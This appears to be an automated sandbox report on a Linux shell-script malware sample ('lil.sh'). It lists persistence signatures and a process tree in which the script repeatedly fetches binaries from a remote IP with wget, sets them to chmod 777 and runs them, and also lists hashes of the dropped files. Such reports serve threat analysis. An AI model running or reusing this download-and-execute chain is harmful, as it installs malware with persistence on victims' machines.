Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/07/2026, 12:17

General

  • Target
    lil.sh
  • Size 848B
  • Sample260722-pgalysef83
  • SHA256 696960df0d4396eccf76ddb8ed46560636ba69ba4817d4f43bcb6171a3d3cfe9
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/lil.sh
    /tmp/lil.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:651
    • /bin/ls
      ls -l /proc/1/exe
      2⤵
        PID:653
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
          PID:658
        • /bin/ls
          ls -l /proc/104/exe
          2⤵
            PID:664
          • /bin/ls
            ls -l /proc/106/exe
            2⤵
              PID:672
            • /bin/ls
              ls -l /proc/107/exe
              2⤵
                PID:676
              • /bin/ls
                ls -l /proc/11/exe
                2⤵
                  PID:678
                • /bin/ls
                  ls -l /proc/12/exe
                  2⤵
                    PID:680
                  • /bin/ls
                    ls -l /proc/13/exe
                    2⤵
                      PID:682
                    • /bin/ls
                      ls -l /proc/134/exe
                      2⤵
                        PID:685
                      • /bin/ls
                        ls -l /proc/14/exe
                        2⤵
                          PID:687
                        • /bin/ls
                          ls -l /proc/140/exe
                          2⤵
                            PID:688
                          • /bin/ls
                            ls -l /proc/15/exe
                            2⤵
                              PID:689
                            • /bin/ls
                              ls -l /proc/150/exe
                              2⤵
                                PID:690
                              • /bin/ls
                                ls -l /proc/156/exe
                                2⤵
                                  PID:691
                                • /bin/ls
                                  ls -l /proc/16/exe
                                  2⤵
                                    PID:693
                                  • /bin/ls
                                    ls -l /proc/167/exe
                                    2⤵
                                    • Reads runtime system information
                                    PID:694
                                  • /bin/ls
                                    ls -l /proc/17/exe
                                    2⤵
                                      PID:695
                                    • /bin/ls
                                      ls -l /proc/18/exe
                                      2⤵
                                        PID:696
                                      • /bin/ls
                                        ls -l /proc/19/exe
                                        2⤵
                                          PID:697
                                        • /bin/ls
                                          ls -l /proc/2/exe
                                          2⤵
                                            PID:698
                                          • /bin/ls
                                            ls -l /proc/20/exe
                                            2⤵
                                              PID:699
                                            • /bin/ls
                                              ls -l /proc/21/exe
                                              2⤵
                                                PID:700
                                              • /bin/ls
                                                ls -l /proc/22/exe
                                                2⤵
                                                  PID:701
                                                • /bin/ls
                                                  ls -l /proc/228/exe
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:702
                                                • /bin/ls
                                                  ls -l /proc/23/exe
                                                  2⤵
                                                    PID:703
                                                  • /bin/ls
                                                    ls -l /proc/24/exe
                                                    2⤵
                                                      PID:704
                                                    • /bin/ls
                                                      ls -l /proc/25/exe
                                                      2⤵
                                                        PID:705
                                                      • /bin/ls
                                                        ls -l /proc/26/exe
                                                        2⤵
                                                          PID:706
                                                        • /bin/ls
                                                          ls -l /proc/27/exe
                                                          2⤵
                                                            PID:707
                                                          • /bin/ls
                                                            ls -l /proc/28/exe
                                                            2⤵
                                                              PID:708
                                                            • /bin/ls
                                                              ls -l /proc/29/exe
                                                              2⤵
                                                                PID:709
                                                              • /bin/ls
                                                                ls -l /proc/291/exe
                                                                2⤵
                                                                  PID:710
                                                                • /bin/ls
                                                                  ls -l /proc/294/exe
                                                                  2⤵
                                                                    PID:711
                                                                  • /bin/ls
                                                                    ls -l /proc/297/exe
                                                                    2⤵
                                                                      PID:712
                                                                    • /bin/ls
                                                                      ls -l /proc/3/exe
                                                                      2⤵
                                                                        PID:713
                                                                      • /bin/ls
                                                                        ls -l /proc/300/exe
                                                                        2⤵
                                                                          PID:714
                                                                        • /bin/ls
                                                                          ls -l /proc/302/exe
                                                                          2⤵
                                                                            PID:715
                                                                          • /bin/ls
                                                                            ls -l /proc/306/exe
                                                                            2⤵
                                                                              PID:716
                                                                            • /bin/ls
                                                                              ls -l /proc/316/exe
                                                                              2⤵
                                                                                PID:717
                                                                              • /bin/ls
                                                                                ls -l /proc/318/exe
                                                                                2⤵
                                                                                • Reads runtime system information
                                                                                PID:718
                                                                              • /bin/ls
                                                                                ls -l /proc/329/exe
                                                                                2⤵
                                                                                • Reads runtime system information
                                                                                PID:719
                                                                              • /bin/ls
                                                                                ls -l /proc/335/exe
                                                                                2⤵
                                                                                  PID:720
                                                                                • /bin/ls
                                                                                  ls -l /proc/4/exe
                                                                                  2⤵
                                                                                  • Reads runtime system information
                                                                                  PID:721
                                                                                • /bin/ls
                                                                                  ls -l /proc/41/exe
                                                                                  2⤵
                                                                                  • Reads runtime system information
                                                                                  PID:722
                                                                                • /bin/ls
                                                                                  ls -l /proc/42/exe
                                                                                  2⤵
                                                                                  • Reads runtime system information
                                                                                  PID:723
                                                                                • /bin/ls
                                                                                  ls -l /proc/43/exe
                                                                                  2⤵
                                                                                    PID:724
                                                                                  • /bin/ls
                                                                                    ls -l /proc/5/exe
                                                                                    2⤵
                                                                                      PID:725
                                                                                    • /bin/ls
                                                                                      ls -l /proc/573/exe
                                                                                      2⤵
                                                                                        PID:726
                                                                                      • /bin/ls
                                                                                        ls -l /proc/582/exe
                                                                                        2⤵
                                                                                          PID:727
                                                                                        • /bin/ls
                                                                                          ls -l /proc/583/exe
                                                                                          2⤵
                                                                                            PID:728
                                                                                          • /bin/ls
                                                                                            ls -l /proc/588/exe
                                                                                            2⤵
                                                                                              PID:729
                                                                                            • /bin/ls
                                                                                              ls -l /proc/6/exe
                                                                                              2⤵
                                                                                                PID:730
                                                                                              • /bin/ls
                                                                                                ls -l /proc/605/exe
                                                                                                2⤵
                                                                                                  PID:733
                                                                                                • /bin/ls
                                                                                                  ls -l /proc/640/exe
                                                                                                  2⤵
                                                                                                    PID:735
                                                                                                  • /bin/ls
                                                                                                    ls -l /proc/642/exe
                                                                                                    2⤵
                                                                                                      PID:737
                                                                                                    • /bin/ls
                                                                                                      ls -l /proc/644/exe
                                                                                                      2⤵
                                                                                                        PID:740
                                                                                                      • /bin/ls
                                                                                                        ls -l /proc/646/exe
                                                                                                        2⤵
                                                                                                          PID:742
                                                                                                        • /bin/ls
                                                                                                          ls -l /proc/648/exe
                                                                                                          2⤵
                                                                                                          • Reads runtime system information
                                                                                                          PID:744
                                                                                                        • /bin/ls
                                                                                                          ls -l /proc/649/exe
                                                                                                          2⤵
                                                                                                            PID:746
                                                                                                          • /bin/ls
                                                                                                            ls -l /proc/650/exe
                                                                                                            2⤵
                                                                                                              PID:748
                                                                                                            • /bin/ls
                                                                                                              ls -l /proc/651/exe
                                                                                                              2⤵
                                                                                                                PID:751
                                                                                                              • /bin/ls
                                                                                                                ls -l /proc/652/exe
                                                                                                                2⤵
                                                                                                                • Reads runtime system information
                                                                                                                PID:753
                                                                                                              • /bin/ls
                                                                                                                ls -l /proc/7/exe
                                                                                                                2⤵
                                                                                                                  PID:755
                                                                                                                • /bin/ls
                                                                                                                  ls -l /proc/75/exe
                                                                                                                  2⤵
                                                                                                                    PID:757
                                                                                                                  • /bin/ls
                                                                                                                    ls -l /proc/8/exe
                                                                                                                    2⤵
                                                                                                                    • Reads runtime system information
                                                                                                                    PID:759
                                                                                                                  • /bin/ls
                                                                                                                    ls -l /proc/9/exe
                                                                                                                    2⤵
                                                                                                                    • Reads runtime system information
                                                                                                                    PID:762
                                                                                                                  • /bin/ls
                                                                                                                    ls -l /proc/96/exe
                                                                                                                    2⤵
                                                                                                                      PID:763
                                                                                                                    • /bin/rm
                                                                                                                      rm -rf 34Pn
                                                                                                                      2⤵
                                                                                                                        PID:766
                                                                                                                      • /usr/bin/wget
                                                                                                                        wget http://129.121.110.105/34Pn
                                                                                                                        2⤵
                                                                                                                        • Writes file to tmp directory
                                                                                                                        PID:767
                                                                                                                      • /bin/chmod
                                                                                                                        chmod 777 34Pn
                                                                                                                        2⤵
                                                                                                                        • File and Directory Permissions Modification
                                                                                                                        PID:775
                                                                                                                      • /tmp/34Pn
                                                                                                                        ./34Pn lilin
                                                                                                                        2⤵
                                                                                                                        • Creates/modifies Cron job
                                                                                                                        • Modifies rc script
                                                                                                                        • Modifies systemd
                                                                                                                        • Checks CPU configuration
                                                                                                                        • Reads runtime system information
                                                                                                                        PID:777
                                                                                                                        • /usr/local/sbin/systemctl
                                                                                                                          systemctl daemon-reload
                                                                                                                          3⤵
                                                                                                                            PID:795
                                                                                                                          • /usr/local/sbin/systemctl
                                                                                                                            systemctl enable crond.service
                                                                                                                            3⤵
                                                                                                                              PID:796
                                                                                                                            • /usr/local/bin/systemctl
                                                                                                                              systemctl enable crond.service
                                                                                                                              3⤵
                                                                                                                                PID:796
                                                                                                                              • /usr/local/bin/systemctl
                                                                                                                                systemctl daemon-reload
                                                                                                                                3⤵
                                                                                                                                  PID:795
                                                                                                                                • /usr/sbin/systemctl
                                                                                                                                  systemctl daemon-reload
                                                                                                                                  3⤵
                                                                                                                                    PID:795
                                                                                                                                  • /usr/sbin/systemctl
                                                                                                                                    systemctl enable crond.service
                                                                                                                                    3⤵
                                                                                                                                      PID:796
                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                      systemctl enable crond.service
                                                                                                                                      3⤵
                                                                                                                                        PID:796
                                                                                                                                      • /usr/bin/systemctl
                                                                                                                                        systemctl daemon-reload
                                                                                                                                        3⤵
                                                                                                                                          PID:795
                                                                                                                                        • /sbin/systemctl
                                                                                                                                          systemctl enable crond.service
                                                                                                                                          3⤵
                                                                                                                                            PID:796
                                                                                                                                          • /sbin/systemctl
                                                                                                                                            systemctl daemon-reload
                                                                                                                                            3⤵
                                                                                                                                              PID:795
                                                                                                                                            • /bin/systemctl
                                                                                                                                              systemctl daemon-reload
                                                                                                                                              3⤵
                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                              • Reads runtime system information
                                                                                                                                              PID:795
                                                                                                                                            • /bin/systemctl
                                                                                                                                              systemctl enable crond.service
                                                                                                                                              3⤵
                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                              • Reads runtime system information
                                                                                                                                              PID:796
                                                                                                                                          • /bin/rm
                                                                                                                                            rm -rf 3fN4
                                                                                                                                            2⤵
                                                                                                                                              PID:783
                                                                                                                                            • /usr/bin/wget
                                                                                                                                              wget http://129.121.110.105/3fN4
                                                                                                                                              2⤵
                                                                                                                                                PID:785
                                                                                                                                              • /bin/chmod
                                                                                                                                                chmod 777 3fN4
                                                                                                                                                2⤵
                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                PID:799
                                                                                                                                              • /tmp/3fN4
                                                                                                                                                ./3fN4 lilin
                                                                                                                                                2⤵
                                                                                                                                                  PID:803
                                                                                                                                                • /bin/rm
                                                                                                                                                  rm -rf FuF0
                                                                                                                                                  2⤵
                                                                                                                                                    PID:804
                                                                                                                                                  • /usr/bin/wget
                                                                                                                                                    wget http://129.121.110.105/FuF0
                                                                                                                                                    2⤵
                                                                                                                                                      PID:805
                                                                                                                                                    • /bin/chmod
                                                                                                                                                      chmod 777 FuF0
                                                                                                                                                      2⤵
                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                      PID:816
                                                                                                                                                    • /tmp/FuF0
                                                                                                                                                      ./FuF0 lilin
                                                                                                                                                      2⤵
                                                                                                                                                        PID:821
                                                                                                                                                      • /bin/rm
                                                                                                                                                        rm -rf EKT
                                                                                                                                                        2⤵
                                                                                                                                                          PID:822
                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                          wget http://129.121.110.105/EKT
                                                                                                                                                          2⤵
                                                                                                                                                            PID:823
                                                                                                                                                          • /bin/chmod
                                                                                                                                                            chmod 777 EKT
                                                                                                                                                            2⤵
                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                            PID:826
                                                                                                                                                          • /tmp/EKT
                                                                                                                                                            ./EKT lilin
                                                                                                                                                            2⤵
                                                                                                                                                              PID:828
                                                                                                                                                            • /bin/rm
                                                                                                                                                              rm -rf iM7
                                                                                                                                                              2⤵
                                                                                                                                                                PID:829
                                                                                                                                                              • /usr/bin/wget
                                                                                                                                                                wget http://129.121.110.105/iM7
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:830
                                                                                                                                                                • /bin/chmod
                                                                                                                                                                  chmod 777 iM7
                                                                                                                                                                  2⤵
                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                  PID:832
                                                                                                                                                                • /tmp/iM7
                                                                                                                                                                  ./iM7 lilin
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:833
                                                                                                                                                                  • /bin/rm
                                                                                                                                                                    rm -rf lil
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:834

                                                                                                                                                                  Network

                                                                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                                                                        Replay Monitor

                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                        Downloads

                                                                                                                                                                        crond

                                                                                                                                                                        • Path /etc/cron.d/crond
                                                                                                                                                                        • Size 32B
                                                                                                                                                                        • SHA256 cf66257bd5d069add8b28a2189d417329c66227986668ba6a9231a02ed113206
                                                                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                                                                        rc.local

                                                                                                                                                                        • Path /etc/rc.local
                                                                                                                                                                        • Size 10B
                                                                                                                                                                        • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                                                                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                                                                        rc.local

                                                                                                                                                                        • Path /etc/rc.local
                                                                                                                                                                        • Size 36B
                                                                                                                                                                        • SHA256 c1d0cbb647ec1101a26bc646abbe0ac84697e702fcddae2ab717763b5a1d1088
                                                                                                                                                                        • MD5 SHA1 SHA512

                                                                                                                                                                        crond.service

                                                                                                                                                                        • Path /etc/systemd/system/crond.service
                                                                                                                                                                        • Size 195B
                                                                                                                                                                        • SHA256 69eda6503fc29aa629ddcb6d2b1f9e621a76bc19f91f670cf4796b026d9fc831
                                                                                                                                                                        • MD5 SHA1 SHA512 TLSH

                                                                                                                                                                        34Pn

                                                                                                                                                                        • Path /tmp/34Pn
                                                                                                                                                                        • Size 69KB
                                                                                                                                                                        • SHA256 1a2e5e6b64e7b61be8d004ad0e23223f819792c1f0db775f9223bce5807fbf6e
                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                                                                                        lil

                                                                                                                                                                        • Path /tmp/lil
                                                                                                                                                                        • Size 1B
                                                                                                                                                                        • SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
                                                                                                                                                                        • MD5 SHA1 SHA512